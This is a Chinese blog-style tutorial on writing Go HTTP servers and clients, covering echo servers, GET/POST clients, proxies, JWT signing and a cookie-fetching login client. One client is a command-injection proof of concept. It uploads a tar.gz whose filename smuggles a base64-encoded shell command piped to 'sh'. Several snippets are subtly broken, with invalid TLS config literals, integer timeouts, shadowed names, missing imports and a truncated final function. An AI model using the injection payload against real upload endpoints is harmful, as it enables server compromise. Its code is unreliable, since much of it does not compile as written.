本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。
1、http服务处理流程
基于HTTP构建的服务标准模型包括两个端,客户端(Client
)和服务端(Server
)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。
- package main
-
- import (
- "fmt"
- "net/http"
- )
-
- func HelloHandler(w http.ResponseWriter, r *http.Request) {
- fmt.Fprintf(w, "Hello World")
- }
-
- func main () {
- http.HandleFunc("/", HelloHandler)
- http.ListenAndServe(":8000", nil)
- }
- package main
-
- import (
- "fmt"
- "net/http"
- )
-
- type HelloHandlerStruct struct {
- content string
- }
-
- //必须实现此方法,且名称为ServerHTTP
- func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {
- fmt.Fprintf(w, handler.content)
- }
-
- func main() {
- http.Handle("/", &HelloHandlerStruct{content: "Hello World"})
- http.ListenAndServe(":8000", nil)
- }
- package main
-
- import (
- "context"
- "fmt"
- "io/ioutil"
- "log"
- "net/http"
- "os"
- "os/signal"
- "syscall"
- "time"
- )
-
- type EchoHandler struct{}
-
- func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {
- // 设置响应头
- writer.Header().Add("X-Data", "foo")
-
- // 设置相应的cookie
- http.SetCookie(writer, &http.Cookie{
- Name: "x-cookie",
- Value: "bar",
- MaxAge: 86400,
- Secure: true,
- })
- //设置响应状态码为200
- writer.WriteHeader(200)
-
- // 设置响应体,打印网络请求信息
- fmt.Fprintln(writer, "===== Network =====")
- fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)
- fmt.Fprintln(writer)
-
- // 设置响应体,打印请求方法 url host 协议信息
- fmt.Fprintln(writer, "===== Request Line =====")
- fmt.Fprintln(writer, "Method: ", request.Method)
- fmt.Fprintln(writer, "URL: ", request.URL)
- fmt.Fprintln(writer, "Host: ", request.Host)
- //fmt.Fprintln(writer, "URI: ", request.RequestURI)
- fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,
- request.ProtoMajor, request.ProtoMinor)
- fmt.Fprintln(writer)
-
- // 设置输出请求的请求头
- fmt.Fprintln(writer, "===== Header =====")
- for k, v := range request.Header {
- fmt.Fprintf(writer, "%v: %v\n", k, v)
- }
- fmt.Fprintln(writer)
-
- // 设置输出请求的body
- body, err := ioutil.ReadAll(request.Body)
- if err == nil && len(body) > 0 {
- fmt.Fprintln(writer, "===== Raw Body =====")
- fmt.Fprintln(writer, string(body))
- }
- }
-
- func main() {
- // 创建系统信号接收器
- done := make(chan os.Signal)
- signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)
-
- // 创建 HTTP 服务器
- server := &http.Server{
- Addr: ":8000",
- Handler: EchoHandler{},
- }
-
- // 启动 HTTP 服务器
- go func() {
- log.Println("Server starting...")
- if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
- log.Fatalf("ListenAndServe: %v", err)
- }
- }()
-
- // 监听系统信号并执行关闭操作
- <-done
- log.Println("Server shutting down...")
-
- // 创建一个超时上下文,确保关闭操作不会无限期等待
- ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
- defer cancel()
-
- if err := server.Shutdown(ctx); err != nil {
- log.Fatal("Shutdown server:", err)
- }
-
- log.Println("Server gracefully stopped")
- }
net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。
func (c *Client) Get(url string) (r *Response, err error)
func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
func (c *Client) Head(url string) (r *Response, err error)
func (c *Client) Do(req *Request) (resp *Response, err error)基本的代码实现:
package main import ( "bytes" "fmt" "io/ioutil" "net/http" ) func main() { // 目标 URL baseUrl := "http://localhost" // 执行 GET 请求 doGet(baseUrl + "/gettest") // 执行 POST 请求 doPost(baseUrl + "/posttest") // 执行 POST Form 请求 doPostForm(baseUrl + "/postform") } func doGet(url string) { response, err := http.Get(url) if err != nil { fmt.Println("GET request failed:", err) return } defer response.Body.Close() body, err := ioutil.ReadAll(response.Body) if err != nil { fmt.Println("Error reading response:", err) return } fmt.Println("GET Response:") fmt.Println(string(body)) } func doPost(url string) { // 准备 POST 请求的 JSON 数据 jsonPayload := []byte(`{"key": "value"}`) response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload)) if err != nil { fmt.Println("POST request failed:", err) return } defer response.Body.Close() body, err := ioutil.ReadAll(response.Body) if err != nil { fmt.Println("Error reading response:", err) return } fmt.Println("POST Response:") fmt.Println(string(body)) } func doPostForm(url string) { // 准备 POST Form 数据 data := url.Values{} data.Add("name", "Alice") data.Add("age", "30") response, err := http.PostForm(url, data) if err != nil { fmt.Println("POST Form request failed:", err) return } defer response.Body.Close() body, err := ioutil.ReadAll(response.Body) if err != nil { fmt.Println("Error reading response:", err) return } fmt.Println("POST Form Response:") fmt.Println(string(body)) }
- package main
-
- import (
- "fmt"
- "net/http"
- "net/url"
- "strings"
- )
-
- func main() {
- // 自定义请求头
- headers := map[string]string{
- "User-Agent": "Your Custom User-Agent",
- "Host": "example.com", // 自定义 Host
- }
-
- // 目标 URL
- targetURL := "https://example.com" // 替换为你的目标 URL
-
- // 创建自定义 Transport
- tr := &http.Transport{
- TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
- TLSHandshakeTimeout: 5, // 超时时间(秒)
- DisableKeepAlives: true, // 禁用连接复用
- IdleConnTimeout: 30, // 空闲连接超时时间(秒)
- MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数
- ResponseHeaderTimeout: 5, // 响应头超时时间(秒)
- }
-
- // 创建自定义客户端
- client := &http.Client{
- Transport: tr,
- }
-
- // 发送 GET 请求
- response, err := client.Get(targetURL)
- if err != nil {
- fmt.Println("GET request failed:", err)
- return
- }
- defer response.Body.Close()
-
- // 读取响应内容
- body := make([]byte, 1024)
- n, err := response.Body.Read(body)
- if err != nil {
- fmt.Println("Error reading response:", err)
- return
- }
-
- // 输出响应内容
- fmt.Println("Response:")
- fmt.Println(string(body[:n]))
- }
- package main
-
- import (
- "fmt"
- "net/http"
- "net/url"
- "strings"
- )
-
- func main() {
- // 自定义请求头
- headers := map[string]string{
- "User-Agent": "Your Custom User-Agent",
- "Host": "example.com", // 自定义 Host
- }
-
- // 目标 URL
- baseURL := "https://example.com" // 替换为你的目标 URL
- loginURL := baseURL + "/login" // 登录 URL
- securedURL := baseURL + "/secured-resource" // 需要 Token 的 URL
-
- // 准备登录请求的数据
- loginData := url.Values{
- "user": {"admin"},
- "pass": {"123456"},
- }
-
- // 创建自定义 Transport
- tr := &http.Transport{
- TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
- TLSHandshakeTimeout: 5, // 超时时间(秒)
- DisableKeepAlives: true, // 禁用连接复用
- IdleConnTimeout: 30, // 空闲连接超时时间(秒)
- MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数
- ResponseHeaderTimeout: 5, // 响应头超时时间(秒)
- }
-
- // 创建自定义客户端
- client := &http.Client{
- Transport: tr,
- }
-
- // 发送登录请求
- loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))
- if err != nil {
- fmt.Println("Error creating login request:", err)
- return
- }
-
- // 设置登录请求的头部和内容类型
- loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
- for key, value := range headers {
- loginRequest.Header.Set(key, value)
- }
-
- loginResponse, err := client.Do(loginRequest)
- if err != nil {
- fmt.Println("Login request failed:", err)
- return
- }
- defer loginResponse.Body.Close()
-
- // 获取登录后的 Token
- var token string
- for _, cookie := range loginResponse.Cookies() {
- if cookie.Name == "token" {
- token = cookie.Value
- break
- }
- }
-
- if token == "" {
- fmt.Println("Login failed. No token received.")
- return
- }
-
- fmt.Println("Login successful. Token:", token)
-
- // 在后续请求中添加 Token 到请求头
- securedRequest, err := http.NewRequest("GET", securedURL, nil)
- if err != nil {
- fmt.Println("Error creating secured request:", err)
- return
- }
-
- securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头
- for key, value := range headers {
- securedRequest.Header.Set(key, value)
- }
-
- securedResponse, err := client.Do(securedRequest)
- if err != nil {
- fmt.Println("Secured request failed:", err)
- return
- }
- defer securedResponse.Body.Close()
-
- // 读取并输出响应内容
- responseBody, err := ioutil.ReadAll(securedResponse.Body)
- if err != nil {
- fmt.Println("Error reading response body:", err)
- return
- }
-
- fmt.Println("Secured resource response:")
- fmt.Println(string(responseBody))
- }
- package main
-
- import (
- "archive/tar"
- "bytes"
- "compress/gzip"
- "crypto/tls"
- "fmt"
- "io"
- "io/ioutil"
- "mime/multipart"
- "net/http"
- "os"
- )
-
- func main() {
- // 压缩文件内容
- tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
-
- // 发送 HTTP POST 请求
- url := "https://example.com/upload" // 替换为你的目标 URL
- uploadTarGz(url, tarContent)
- }
-
- func generateTarGzContent(filename string) []byte {
- var buf bytes.Buffer
- gw := gzip.NewWriter(&buf)
- tw := tar.NewWriter(gw)
-
- // 添加文件到 tar 压缩包
- fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
- header := &tar.Header{
- Name: filename,
- Size: int64(len(fileContent)),
- }
- if err := tw.WriteHeader(header); err != nil {
- fmt.Println("写入 tar 头部失败:", err)
- os.Exit(1)
- }
- if _, err := tw.Write(fileContent); err != nil {
- fmt.Println("写入文件内容失败:", err)
- os.Exit(1)
- }
-
- // 关闭 tar 和 gzip 缓冲区
- if err := tw.Close(); err != nil {
- fmt.Println("关闭 tar 失败:", err)
- os.Exit(1)
- }
- if err := gw.Close(); err != nil {
- fmt.Println("关闭 gzip 失败:", err)
- os.Exit(1)
- }
-
- return buf.Bytes()
- }
-
- func uploadTarGz(url string, tarContent []byte) {
- // 创建一个 Buffer,用于构建 multipart/form-data 请求体
- var requestBody bytes.Buffer
- writer := multipart.NewWriter(&requestBody)
-
- // 写入 tar.gz 文件
- part, err := writer.CreateFormFile("file", "test.tar.gz")
- if err != nil {
- fmt.Println("创建表单文件失败:", err)
- os.Exit(1)
- }
- if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {
- fmt.Println("写入文件内容失败:", err)
- os.Exit(1)
- }
-
- // 关闭 multipart writer
- writer.Close()
-
- // 创建 HTTP 请求
- req, err := http.NewRequest("POST", url, &requestBody)
- if err != nil {
- fmt.Println("创建请求失败:", err)
- os.Exit(1)
- }
- req.Header.Set("Content-Type", writer.FormDataContentType())
-
- // 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证
- tr := &http.Transport{
- TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
- }
-
- // 使用自定义 Transport 发起请求
- client := &http.Client{Transport: tr}
- response, err := client.Do(req)
- if err != nil {
- fmt.Println("请求失败:", err)
- os.Exit(1)
- }
- defer response.Body.Close()
-
- // 读取响应内容
- responseBody, err := ioutil.ReadAll(response.Body)
- if err != nil {
- fmt.Println("读取响应内容失败:", err)
- os.Exit(1)
- }
-
- fmt.Println("响应内容:")
- fmt.Println(string(responseBody))
- }
- package main
-
- import (
- "fmt"
- "net/http"
- "net/url"
- "os"
- )
-
- func main() {
- // 创建 HTTP 客户端,并设置代理
- proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址
- if err != nil {
- fmt.Println("解析代理地址失败:", err)
- os.Exit(1)
- }
-
- client := &http.Client{
- Transport: &http.Transport{
- Proxy: http.ProxyURL(proxyURL),
- },
- }
-
- // 创建 HTTP 请求
- url := "https://example.com" // 替换为您要请求的目标 URL
- request, err := http.NewRequest("GET", url, nil)
- if err != nil {
- fmt.Println("创建请求失败:", err)
- os.Exit(1)
- }
-
- // 发送 HTTP 请求
- response, err := client.Do(request)
- if err != nil {
- fmt.Println("请求失败:", err)
- os.Exit(1)
- }
- defer response.Body.Close()
-
- // 读取响应内容
- responseBody := make([]byte, 0)
- buffer := make([]byte, 1024)
- for {
- n, err := response.Body.Read(buffer)
- if n > 0 {
- responseBody = append(responseBody, buffer[:n]...)
- }
- if err != nil {
- break
- }
- }
-
- fmt.Println("响应内容:")
- fmt.Println(string(responseBody))
- }
- // 生成jwt token
- func CreateJWT(claim jwt.Claims) (string, error) {
- //读取 RSA私钥文件
- privateKeyBytes, err := ioutil.ReadFile(privateKeyPath)
- if err != nil {
- return "", err
- }
-
- //解析RSA私钥
- privateKey, err := jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes)
- if err != nil {
- return "", err
- }
-
- //创建jwt
- token := jwt.NewWithClaims(jwt.SigningMethodRS256, claim)
-
- //使用私钥进行签名
- tokenString, err := token.SignedString(privateKey)
-
- return tokenString, nil
- }
-
- // 验证token有效性,主要为想做成直接用解析提供的token并从中获取想要的参数,避免传入过多参数,暂时未用上
- func ParseToken(tokenStr string) (interface{}, error) {
- //读取RSA公钥文件
- publicKeyBytes, err := ioutil.ReadFile(publicKeyPath)
- if err != nil {
- return "", nil
- }
-
- //解析RSA 公钥
- publicKey, err := jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes)
- if err != nil {
- return "", err
- }
-
- //解析token
- token, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {
- if token.Method != jwt.SigningMethodRS256 {
- return nil, fmt.Errorf("加密方法有误,非rsa256,而是:%v", token.Header["alg"])
- }
- return publicKey, nil
- })
-
- //检查解析是否成功
- if err != nil {
- return nil, err
- }
-
- //验证token是否有效
- if !token.Valid {
- return nil, fmt.Errorf("无效token")
- } else if claims, ok := token.Claims.(jwt.MapClaims); ok {
- //通过key获取具体的Claims值
- fmt.Println("touken有效,正在提取其中的Claims。。。。")
- return claims, nil
- } else {
- return nil, fmt.Errorf("token有效,但是无法提取Claims")
- }
-
- }
-
-
- func GetCookie(token, url string) (string, error) {
- //自定义请求头
- headers := map[string]string{
- "token": token, //利用生成的token
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36",
- "Accept": " application/json, text/plain, */*",
- "Accept-Encoding": "gzip, deflate",
- "Content-Type": "application/json",
- "Accept-Language": "zh-CN,zh;q=0.9",
- }
-
- //fmt.Println("\nurl 为", baseurl)
-
- //创建代理
- /* proxyURL, err := url.Parse("http://127.0.0.1:8080") //设置代理地址
- if err != nil {
- fmt.Println("解析代理地址失败", err)
- os.Exit(1)
- } */
- // 创建自定义 Transport
- tr := &http.Transport{
- TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
- //TLSHandshakeTimeout: 10, // 超时时间(秒)
- DisableKeepAlives: true, // 禁用连接复用
- IdleConnTimeout: 30, // 空闲连接超时时间(秒)
- MaxIdleConnsPerHost: 20, // 每个主机的最大空闲连接数
- //ResponseHeaderTimeout: 10, // 响应头超时时间(秒)
- //Proxy: http.ProxyURL(proxyURL), //设置代理服务器
- }
-
- //创建自定义客户端
- client := &http.Client{
- Transport: tr,
- Timeout: time.Second * 10, //设置请求的超时时间
- }
-
- //创建JSON请求体
- requestBody := map[string]interface{}{
- "username": "123456",
- "password": "1",
- }
-
- //将请求体编码为 JSON格式
- jsonData, err := json.Marshal(requestBody)
- if err != nil {
- fmt.Println("JSON 编码错误", err)
- return "", err
- }
-
- //创建post请求
- request, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))
- if err != nil {
- fmt.Println("创建请求错误", err)
- return "", err
- }
-
- //设置请求头
- for key, value := range headers {
- request.Header.Set(key, value)
- }
-
- //发送POST请求
- response, err := client.Do(request)
- if err != nil {
- fmt.Println("\n请求错误:", err)
- return "", err
- }
- defer response.Body.Close()
-
- /* // 读取响应内容
- var responseStr string
- buf := new(bytes.Buffer)
- _, err = buf.ReadFrom(response.Body)
- if err != nil {
- return "", err
- }
- responseStr = buf.String()
- // 检查响应状态码
- if response.StatusCode != http.StatusOK {
- return "", fmt.Errorf("响应状态码为 %d", response.StatusCode)
- }
- return responseStr, nil */
-
- //处理响应:仅针对返回body为json格式数据
- var responseBody map[string]interface{}
- decoder := json.NewDecoder(response.Body)
- if err := decoder.Decode(&responseBody); err != nil {
- fmt.Println("响应解析错误", err)
- return "", err
- }
- //输出响应
- fmt.Println("响应状态码:", response.Status)
- fmt.Println("响应数据ret:", responseBody["ret"])
- var retflag float64
- retflag = 1
- if responseBody["ret"].(float64) == retflag {
- setCookieHeaders := response.Header["Set-Cookie"]
- return setCookieHeaders[0], nil
- } else {
- return "", fmt.Errorf("错误信息:%s", responseBody["error"])
- }